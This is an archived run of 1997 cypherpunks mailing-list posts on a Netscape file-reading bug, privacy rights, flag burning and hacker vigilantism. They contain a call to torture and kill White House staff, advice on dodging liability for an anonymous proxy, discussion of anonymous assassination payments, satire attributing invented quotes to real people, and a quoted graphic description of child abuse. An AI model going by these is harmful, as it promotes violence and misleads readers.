From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Sat, 14 Jun 1997 09:22:27 +0800
To: nobody@huge.cajones.com
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <199706132241.PAA09924@fat.doobie.com>
Message-ID: <199706140108.SAA00039@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Huge Cajones Remailer writes:
> 
> It'd be nice to have more specifics about the whole situation, but
> regardless - any preliminary threat assessments?  Exactly how widely
> exploited do you think this has been?
> 
> Tim's post (although refuted by Marc) raises some serious issues since I
> suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp

Of course that's IDEA-encrypted (or maybe something better in PGP 5) so
the attacker would need a lot of compute power to brute-force the key.
I wouldn't worry too much about someone getting my secring.pgp.  However
I would worry about them getting my mail folder, my .rhosts, my
/etc/password, etc.

> Some coherent input on the possible impact of this would be appreciated.

Yes, a description of the exploit would be very helpful.  It should
be fairly easy to hack a proxy to search and destroy the Java/Javascript
CaptiveX attacklet as it's being received.


-- 
                   Eric Murray  ericm@lne.com 
  Network security and encryption consulting.    PGP keyid:E03F65E5 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 14 Jun 1997 09:48:02 +0800
To: cypherpunks@toad.com
Subject: The World's Smartest Highway (opened earlier this week)
Message-ID: <199706140126.SAA17680@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



The worlds smartest highway opens tomorrow.
   
   So far, Highway 407 runs 36 km between Brampton and Markham, Ontario.
   Eventually it will cover an additional 33 km, and cost a total of
   $929.8 million over $13,000 per meter.
   
   What does that buy for Ontario commuters?
   
   The highway has a series of UHF radio antennae that pick up signals
   from small transponders installed in commuters vehicles. The highway
   measures the distance a vehicle travels, and deducts a per-kilometer
   fee from the owners credit card or prepaid account. The fee is 10
   cents per kilometer in rush hour, 7 cents in off-peak hours, and 4
   cents at night.
   
   Thats not a first a few U.S. toll highways have similar systems. But
   the 407 is the first highway able to send bills to drivers without
   transponders, without stopping them at toll booths. Overhead gantries
   along the highway take video images of license plates as vehicles
   travel the highway. The bill comes in the mail with a $1 premium.
   
   Ontario expects to pull in $40 million a year from Highway 407 tolls
   in theory. The license-plate billing system has never been tested
   under heavy traffic. The highway will be watching but not charging for
   the next 30 days or so, while Hughes Aircraft and Bell Canada, the
   companies who designed the system, hammer out the kinks.
   
   Related links: Canadian Highways International Corporation
   
                                    -30-
   
   Copyright ) 1997 Convergent Publishing Ltd.
   All rights reserved.
   
                                  [INLINE]
   
Canadian Highways International Corporation http://www.chichwys.com

http://www.theconvergence.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 14 Jun 1997 18:25:56 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.GSO.3.95.970613083909.27747Q-100000@well.com>
Message-ID: <Pine.LNX.3.91.970613182413.612A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> He still misunderstands my position. I'm saying you have no property right
> in information others collect about you.

There is no such thing as intellectual property rights period. All 
patents and copyrights are violations of free speech, technology is the 
only way to protect so called "intellectual property"... If you don`t 
want people to have information don`t release it.

> Great. You want Congress to pass a law that says "Netscape shall release
> no more buggy browsers." Yeah, and mandate that pi is 3.14, right? 

No, I wouldn`t mind one that made bugs in Micro$oft stuff criminal ;-)... 
BTW, I`m pretty sure it was pi=3.2 on that bill.

> > What I leave on my computer is my private business, and NOBODY HAS THE
> > RIGHT TO SURF IT WITHOUT MY PERMISSION.  Whether or not they have root.

> I'm not saying that people have a "right to surf (?) it without your 
> permission." That's a violation of your property rights, a trespass. 
> But if you connect to my web site, I should be allowed to record 
> whatever info leaks from your computer. Don't like it? Cut the flow or 
> don't come.  

Declan put this point very well here, don`t confuse listening to other 
peoples speech with breaking into their house and reading their private 
diary. If you don`t want the information free keep it confidential, 
simple as that.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 14 Jun 1997 09:56:32 +0800
To: carlier@iguana.be
Subject: Re: Netscape Security Flaw is a Feature
In-Reply-To: <v03102802afc67bb040fb@[207.167.93.63]>
Message-ID: <v0310280bafc7a348b38b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:29 PM -0700 6/13/97, Kris Carlier wrote:
>Tim,
>
>> Meanwhile, Microsoft has acknowledge that all lines to its Redmond site are
>> clogged by people dumping Navigator and trying to download Explorer.
>
>Are you sure they are trying to get Explorer ? it's *very* difficult to
>buy a PC nowadays that comes without it. My guess is that people are still
>trying to get the vital bugfixes for NT, IE, Win95,...

It was a joke.

As you are a non-native English speaker (Belarus?), my subtlety may not
have been as obvious as it would be to any reasonably-bright American or
Brit.

In any case, I use a Macintosh and Explorer 3.0, and no browser came with
my Mac when I bought it in '94. Many machines of various flavors were sold
prior to Explorer or Navigator being bundled.

Me, I have no immediate plans to switch to Explorer.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 14 Jun 1997 09:52:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <199706132241.PAA09924@fat.doobie.com>
Message-ID: <v0310280cafc7a5382818@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:41 PM -0700 6/13/97, Huge Cajones Remailer wrote:
>It'd be nice to have more specifics about the whole situation, but
>regardless - any preliminary threat assessments?  Exactly how widely
>exploited do you think this has been?
>
>Tim's post (although refuted by Marc) raises some serious issues since I
                        ^^^^^^^^^^^^^^^^^^^^^^^^
>suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp


Just what the fuck are you talking about? If you did not realize it was
satire, and are not one of the non-English subscribers....there ought to be
a minimum IQ to be allowed to subscribe.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 14 Jun 1997 18:24:16 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Flag Burning...
In-Reply-To: <v03007870afc6975ea950@[207.94.249.152]>
Message-ID: <Pine.LNX.3.91.970613183319.612B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> >When it comes down to flag burning, It really bothers me that we allow our
> >symbol of freedom to be burned.  It's more than a flag and a right.  It's a
> >symbol of the freedom we have.  To allow someone to publicly burn a flag is
> >essentially displaying our freedom being burned.

This is an ill thought out and emotional response. A flag, just as any 
other object, it someones private property. If I choose to but 1000000 US 
flags and burn them on my property, or on property I have permission to 
use for this purpose, it is no business of the state or anyone else.
Realise first and foremost that all law is based on property.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Sat, 14 Jun 1997 10:00:27 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <1.5.4.32.19970614004420.009dc794@pop.pipeline.com>
Message-ID: <33A1F574.42D6AD6A@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young wrote:
> 
> Still, it would be good to know if a Netscape snooper could snarf a
> key while it is being used by PGP to decrypt, that is, whether the
> hole allows snooping on dynamic ops or just on stored info.
> 
> Does anyone know if the the hole finders are discussing this on the
> Net, and if so, where? What are the folks at Netscape saying? Tom,
> Jeff?

We aren't talking about it much.  We've released some information to
the press and posted a release on our web site.

This attack can be used to grab any file from the user's hard drive,
provided you know the file name and path.  It exploits a bug in the
way forms are handled.  You can guard against this attack by turning
on the warning dialog for submitting a form over an insecure connection.

We have a fix which we are testing now, and we'll have it out early next
week for 4.0.  A fix for 3.x will follow once we have 4.0 fixed.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 14 Jun 1997 18:50:18 +0800
To: "Lynne L. Harrison" <lharrison@mhv.net>
Subject: Re: Netscape Bug :)))
In-Reply-To: <3.0.2.32.19970613001349.006f4334@pop.mhv.net>
Message-ID: <Pine.LNX.3.91.970613183912.612C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





>                  The bug was reported by Cabocomm, a
>                  software company located about 100 miles west
>                  of Copenhagen, Denmark. The bug makes it
>                  possible for Web-site operators to read anything
>                  stored on the hard drive of a PC logged on to
>                  the Web site.

Do you have information if by PC here they mean the abreviated IBM-PC form 
(ie. something running a Micro$oft OS) or the generic media meaning 
(ie. any micro)... Ie. is the linux version affected?

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 14 Jun 1997 08:04:02 +0800
To: cypherpunks@toad.com
Subject: Re: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.GSO.3.95.970613105505.13113D-100000@cp.pathfinder.com>
Message-ID: <ece08D111w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@pathfinder.com> writes:

> I suspect the scare about privacy has led to muddled thinking.
>
> Free speech is a right that strictly limits the government's ability to
> control what you say. We should have a similar right of privacy from the
> government.
>
> But I give up my free speech "rights" when I attend a college with a wacky
> speech code or go to work at a company with workplace speech policies. My
> choices in those situations are governed by my free speech preferences.
> Similarly, I give up my privacy "rights" when I go to unknown web sites,
> apply for a loan, or post to Usenet, etc. These also are preferences.

I agree with the above.

I also wish for (and work on) technology solutions to do things like post
to Usenet w/o giving up one's privacy.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 14 Jun 1997 10:32:03 +0800
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Do reporters have special rights the rest of us don't have?
In-Reply-To: <v03102806afc72cece4f0@[207.167.93.63]>
Message-ID: <v0310280dafc7ac88e000@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:36 PM -0700 6/13/97, Robert Hettinga wrote:
>Awwww, Caaa'monnn.
>
>You mean they can license handguns, but not reporters???

Indeed, it is strange. What part of "Congress shall make no law" do they
not understand?

(A better example is the ban on certain kinds of rifles, as these are
Federal bans. The various handgun licensing provisions are state and local.
Though let a state or local government try licensing _speech_ and watch how
quickly the Supremes would rule it unconstitutional.)

About five years ago I wrote a satirical essay arguing for "Licensing and
Regulation" of speech, noting the number of innocents killed by "assault
speech" and arguing that a $50 fee for each act of speech is completely
consistent with similar fees for exercise of the Second Amendment rights.

I'd repost it, but it's buried somewhere on one of my offline disks.

--Tim May


>I think reporters, particularly the lapdog Whitehouse kind, have killed
>more people in the last century than domestic handguns, don'tcha think?

Yes, many in the White House have already richly earned termination with
extreme prejudice. Several of them also should be tortured before being
dispatched.

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 14 Jun 1997 08:03:58 +0800
To: cypherpunks@toad.com
Subject: Re: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <97Jun13.135323edt.32257@brickwall.ceddec.com>
Message-ID: <X3F08D116w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



tzeruch@ceddec.com writes:
> When I email, if it is something I don't want to see posted everywhere, I
> add a copyright notice of some sort - nonredistribution as a condition of
> use.

That's just silly and has no legal meaning.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 14 Jun 1997 08:12:11 +0800
To: cypherpunks@toad.com
Subject: Re: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <97Jun13.142726edt.32257@brickwall.ceddec.com>
Message-ID: <m6F08D118w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



tzeruch@ceddec.com writes:

> On Fri, 13 Jun 1997, Declan McCullagh wrote:
>
> > Get a clue. I did:
> >
> >         Of course there's an essential right to privacy from the
> >    government. (Beware government databases: Nazis used census data in
> >    Germany and Holland to track down and eliminate undesirables.)
>
> Today the Nazi's would simply pay Experian (was TRW) for their databases.
> I think the IRS already does.

Why do you need to bring up the Nazis when the U.S. Gubmint used its own Census
data to round up Americans of Japanese descent (who said so on their Census
forms) and to intern them in concentration camps.

> Private databases collect a lot of data that I am not asked about, or from
> government, or that I am required to turn over (e.g. Government requires a
> taxpayer ID number to open a bank account, so I can't shop for a bank that
> offers privacy as an option, but they will then turn around and give the
> information to the databasers).

Good news: no sane bank gives its client info to the databasers.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 14 Jun 1997 08:39:49 +0800
To: cypherpunks@toad.com
Subject: Re: Anonymous proxies & ITAR question
In-Reply-To: <199706132228.PAA07110@fat.doobie.com>
Message-ID: <Bsg08D119w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@huge.cajones.com (Huge Cajones Remailer) writes:
> I wanted to grab a copy of the 128 bit version of MSIE, but my ISP hasn't
> enabled reverse DNS lookup, so I decided to try running through an
> anonymous proxy server to scoop it and lo-and-behold, aside from being
> brutally slow, it worked like a charm.

One word of caution: MSIE 3.0 had many bad bugs that were fixed in 3.1.
Last time I looked, the 128-bit version was still 3.0.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 14 Jun 1997 11:36:00 +0800
To: cypherpunks@toad.com
Subject: Re: Do reporters have special rights the rest of us don't have?
In-Reply-To: <v03102806afc72cece4f0@[207.167.93.63]>
Message-ID: <19970613201551.40314@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Jun 13, 1997 at 07:10:35PM -0700, Tim May wrote:
> At 12:36 PM -0700 6/13/97, Robert Hettinga wrote:
> >Awwww, Caaa'monnn.
> >
> >You mean they can license handguns, but not reporters???
> 
> Indeed, it is strange. What part of "Congress shall make no law" do they
> not understand?

The second amendment does not include that phrase.  The first 
amendment does.  Perhaps they understand it a great deal better than 
you:


                            Amendment I

Congress shall make no law respecting an establishment of religion, or
prohibiting the free exercise thereof; or abridging the freedom of
speech, or of the press; or the right of the people peaceably to
assemble, and to petition the Government for a redress of grievances. 

                           Amendment II

A well regulated Militia, being necessary to the security of a free
State, the right of the people to keep and bear Arms, shall not be
infringed. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch+spamfilter@stanford.edu>
Date: Sat, 14 Jun 1997 11:28:59 +0800
Subject: Wired News' War Correspondent on kiddie porn
In-Reply-To: <5nggqs%24jjf@Networking.Stanford.EDU>
Message-ID: <glkheaoti3490atyaw40@quixote.stanford.edu>
MIME-Version: 1.0
Content-Type: text/plain



Full text:

 http://www.wired.com/news/culture/story/4437.html

   Hacker Vows 'Terror' for Child Pornographers
   by Steve Silberman

   2:32pm  13.Jun.97.PDT After 17 years in the hacker underground,
   Christian Valor - well known among old-school hackers and phone
   phreaks as "Se7en" - was convinced that most of what gets written in
   the papers about computers and hacking is sensationalistic jive. For
   years, Valor says, he sneered at reports of the incidence of child
   pornography on the Net as
   "exaggerated/over-hyped/fearmongered/bullshit."

   Now making his living as a lecturer on computer security, Se7en claims
   he combed the Net for child pornography for eight weeks last year
   without finding a single image.

   That changed a couple of weeks ago, he says, when a JPEG mailed by an
   anonymous prankster sent him on an odyssey through a different kind of
   underground: IRC chat rooms with names like #littlegirlsex, ftp
[...]
   On 8 June, Se7en vowed on a hacker's mailing list to deliver a dose of
   "genuine hacker terror" to those who upload and distribute such images
   on the Net. The debate over his methods has stirred up tough questions
   among his peers about civil liberties, property rights, and the ethics
   of vigilante justice.

[I was not aware that he'd sent it to DefCon first, with cypherpunks as a
secondary distribution. That explains the language barrier Lizard noticed.]

   Se7en claims to have already "taken down" a "major player" - an
   employee of Southwestern Bell who Se7en says was "posting ads all over
   the place." Se7en told Wired News that he covertly watched the man's
   activities for days, gathering evidence that he emailed to the
   president of Southwestern Bell. Pseudonymous remailers like
   hotmail.com and juno.com, Se7en insists, provide no security blanket
[...]
   A couple of days after submitting message headers and logs to the
   president and network administrators of Southwestern Bell, Se7en says,
   he got a letter saying the employee was "no longer on the payroll."

   The hacker search for acceptance

   Se7en's declaration of war received support on the original mailing
   list. "I am all for freedom of speech/expression," wrote one poster,
   "but there are some things that are just wrong.... I feel a certain
   moral obligation to the human race to do my part in cleaning up the
   evil."
[...]
   Pitching in to assist the Feds just isn't the hacker way. As one
   poster to the DefCon list put it, "The government can't enforce laws
   on the Internet. We all know that. We can enforce laws on the
   Internet. We all know that too."

   The DefCon list was not a unanimous chorus of praise for Se7en's plan
   to give the pornographers a taste of hacker terror, however. The most
   vocal dissenter has been Declan McCullagh, Washington correspondent
   for the Netly News. McCullagh is an outspoken champion of
   constitutional rights, and a former hacker himself.

[Wired forgot the (tm).]

   "Few people seem to realize that the long-standing federal child-porn
   law outlawed pictures of dancing girls wearing leotards," McCullagh
   wrote - alluding to the conviction of Stephen Knox, a graduate student
   sentenced to five years in prison for possession of three videotapes
   of young girls in bathing suits. The camera, the US attorney general
   pointed out, lingered on the girls' genitals, though they remained
   clothed. "The sexual implications of certain modes of dress, posture,
   or movement may readily put the genitals on exhibition in a lascivious
   manner, without revealing them in a nude display," the Feds argued -
   and won.

[Declan fails to recognize that everybody here already knows this, and
agrees that Knox was the victim of hysteria.]

   The menace of child porn is being exploited by "censor-happy"
   legislators to "rein in this unruly cyberspace," McCullagh says. The
   rush to revile child porn on the DefCon list, McCullagh told Wired
   News, reminded him of the "loyalty oaths" of the McCarthy era.

[With James Donald, on the other hand, no analogies are necessary.]

   But McCullagh is not alone. As the debate over Se7en's declaration
   spread to the cypherpunks mailing list and alt.cypherpunks -
   frequented by an older crowd than the DefCon list - others expressed
   similar reservations over Se7en's plan.

   "Basically, we're talking about a Dirty Harry attitude," one network
   technician/cypherpunk told Wired News. Though he senses "real feeling"
   behind Se7en's battle cry, he feels that the best way to deal with
   pornographers is to "turn the police loose on them."

[ROFL. I insisted on not being identified because I didn't want any conflict
with Declan, and here he has me AGREEING with him. Cool! And in context, a
good addition to the story.]

   It's not JPEGs of clothed ballerinas that raise his ire, Se7en says.
   It's "the 4-year-olds being raped, the 6-year-old forced to have oral
   sex with cum running down themselves." Such images, Se7en admits, are
   very rare - even in online spaces dedicated to trading sexual imagery
   of children.

   "I know what I'm doing is wrong. I'm trampling on the rights of these
   guys," he says. "But somewhere in the chain, someone is putting these
   images on paper before they get uploaded. Your freedom ends when you
   start hurting other people."

[I.e., we ain't talking about Knox or Angeli, folks.]

-rich
 http://www.stanford.edu/~llurch/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 14 Jun 1997 09:17:29 +0800
To: cypherpunks@toad.com
Subject: Re: Impact of Netscape kernel hole
Message-ID: <1.5.4.32.19970614004420.009dc794@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Huge Cajones wrote:

>Tim's post (although refuted by Marc) raises some serious issues since I
>suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp


Isn't it widely known that the secret key is not to be stored in the box, as the
PGP manual and security pubs emphasize?

Still, it would be good to know if a Netscape snooper could snarf a key while 
it is being used by PGP to decrypt, that is, whether the hole allows snooping
on dynamic ops or just on stored info.

Does anyone know if the the hole finders are discussing this on the Net, and
if so, where? What are the folks at Netscape saying? Tom, Jeff?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Sat, 14 Jun 1997 12:08:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Anonymous proxies & ITAR question
Message-ID: <Pine.GUL.3.95.970613205522.3433K-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain



Also sprach nobody:

>Under ITAR regs, if a "foreign national" was to use the server to get
>access to "munitions" (sure, software kills, didn't cha know?), could I be
>held in violation?
>
>Even if all they had was circumstantial evidence, I'd really like to avoid
>being indicted - puts a real kink in one's social schedule.
>
>Your thoughts on this would be appreciated.

This is why we need more remailers, and why it's good that you posted
anonymously. The proper thing to do is to be "shocked, shocked!" that
anything illegal is happening on your server, immediately shut it down
(counting on the network to be self-healing with the help of an enhanced
remailer list), and offer to cooperate fully. Unfortunately, you don't
keep logs, so you wouldn't really be able to help (damn!).

-rich
 http://www.stanford.edu/~llurch/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 14 Jun 1997 10:59:05 +0800
To: tomw@netscape.com (Tom Weinstein)
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <33A1F574.42D6AD6A@netscape.com>
Message-ID: <199706140232.VAA20313@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Tom Weinstein wrote:
> John Young wrote:
> > 
> > Still, it would be good to know if a Netscape snooper could snarf a
> > key while it is being used by PGP to decrypt, that is, whether the
> > hole allows snooping on dynamic ops or just on stored info.
> > 
> > Does anyone know if the the hole finders are discussing this on the
> > Net, and if so, where? What are the folks at Netscape saying? Tom,
> > Jeff?
> 
> We aren't talking about it much.  We've released some information to
> the press and posted a release on our web site.
> 
> This attack can be used to grab any file from the user's hard drive,
> provided you know the file name and path.  It exploits a bug in the
> way forms are handled.  You can guard against this attack by turning
> on the warning dialog for submitting a form over an insecure connection.
> 
> We have a fix which we are testing now, and we'll have it out early next
> week for 4.0.  A fix for 3.x will follow once we have 4.0 fixed.


Tom, are you going to release the linux version of netscape, 
and when.

Thank you very much.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch+spamfilter@stanford.edu>
Date: Sat, 14 Jun 1997 13:46:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Wired News' War Correspondent on kiddie porn
In-Reply-To: <5nggqs%24jjf@Networking.Stanford.EDU>
Message-ID: <aglhlaghjklahlase@quixote.stanford.edu>
MIME-Version: 1.0
Content-Type: text/plain



> http://www.wired.com/news/culture/story/4437.html
>
>   Hacker Vows 'Terror' for Child Pornographers
>   by Steve Silberman
[...]
>   "Basically, we're talking about a Dirty Harry attitude," one network
>   technician/cypherpunk told Wired News. Though he senses "real feeling"
>   behind Se7en's battle cry, he feels that the best way to deal with
>   pornographers is to "turn the police loose on them."

Grr. Didn't notice that on first reading. Of course I meant evidence of
criminal child abuse that Mike Godwin considers illegal, not "pornography."
Since he snipped my name on request, though, I suppose I can't really
complain.

-rich
 http://www.stanford.edu/~llurch/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Sun, 15 Jun 1997 02:05:31 +0800
To: Tim May <cypherpunks@toad.com>
Subject: Re: FCPUNX:Netscape Security Flaw is a Feature
Message-ID: <199706141749.KAA22353@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:33 PM 6/12/97 -0700, Tim May wrote:
> According to Netscape spokesmen, this feature was added to the kernel of
> Mosaic, then Navigator, in 1993, as part of the Clipper Key Recovery
> Program. As James Clarke put it an interview tonight on MSNBC, "Dorothy
> Denning asked us to insert the "remote read" capabilities to ensure that
> the legitimate needs of law enforcement are met. No person cruising the Web
> has any expectation of privacy, as even Declan McCullagh has pointed out."
>
> Marc Rotenberg commented, "Privacy at the individual user level is
> unimportant, just so long as a Privacy Ombudsman can decide on the
> legitimate needs of law enforcement."

Please cut the spoofing, or add visible indication of when you are
spoofing for the benefit of the less well informed amongst our 
audience.

I suggest that any spoof you write should come not from Tim May, but
from Class B  Citizen Unit 8387 Tim May.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Sun, 15 Jun 1997 02:03:29 +0800
To: cypherpunks@toad.com
Subject: Re: FCPUNX:Flag Burning...
Message-ID: <199706141749.KAA22463@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



On 13 Jun 97 at 1:20, RS wrote:
> To allow someone to publicly burn a flag is essentially displaying our
> freedom being burned.


Who is that most gravely desecrates the American flag?

Those who burn it, spit on it, shit on it?

Or those who violate the principles for which it stands?
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Sun, 15 Jun 1997 02:03:10 +0800
To: cypherpunks@toad.com
Subject: Re: FCPUNX:There's no general right to privacy -- get over it, from Netly
Message-ID: <199706141749.KAA22637@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:27 PM 6/13/97 -0400, tzeruch@ceddec.com wrote:
> Today the Nazi's would simply pay Experian (was TRW) for their databases. 
> I think the IRS already does. 

I do not see private organizations bothering to collect data on racial
identity, except where they are compelled to by the government.

>
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Sun, 15 Jun 1997 02:05:41 +0800
To: Wei Dai <cypherpunks@toad.com
Subject: Re: FCPUNX:Untraceable Contract Killings
Message-ID: <199706141749.KAA22758@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:39 PM 6/10/97 -0700, Wei Dai wrote:
> I think the novelty of Bell's scheme is that it allows assassination
> payments to be pooled from a large number of anonymous payers without
> explicit coordination (i.e., the payers do not have to communicate with
> each other to work out a contract, etc.).  For killing a neighbor it
> doesn't improve upon the simple untraceable contract, but it can make a
> big difference when the target has many enemies (Bell gave politicians as
> an example).
>
> Now in light of the fact that when the target has many enemies the
> assassination becomes a non-excludable public good, it is almost certain
> that the scheme cannot actually work in practice.  All of the potential
